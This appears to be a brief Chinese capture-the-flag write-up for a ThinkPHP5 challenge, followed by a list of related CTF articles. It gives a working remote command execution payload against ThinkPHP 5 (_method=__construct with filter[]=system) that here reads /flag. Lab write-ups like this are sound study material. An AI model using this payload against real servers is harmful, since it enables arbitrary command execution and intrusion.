题目提示是thinkphp5，直接搜索thinkphp5的漏洞
发现thinkphp5有远程命令执行漏洞，详细如下文章
https://www.freebuf.com/vuls/194105.html
payload:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
相关文章
- 01-17第一次碰到try-except(core python programming 2nd Edition 3.6)
- 01-17Game Programming using Qt 5 Beginner’s Guide, 2nd Editio 学习笔记- outlinetext
- 01-17R Graphics Cookbook 2nd Edition 2018.11
- 01-17October 2nd 2016 Week 41st Sunday
- 01-17Game Programming using Qt 5 Beginner’s Guide, 2nd Editio 学习笔记- HeartBeat
- 01-17bjdctf_2020_router
- 01-17[BJDCTF2020]The mystery of ip（ssti模板注入题目）
- 01-17BUUCTF：[BJDCTF2020]The mystery of ip---------SSTI
- 01-17BUUCTF [BJDCTF2020]Easy MD5 详解
- 01-17BUUCTF-RE-[BJDCTF2020]JustRE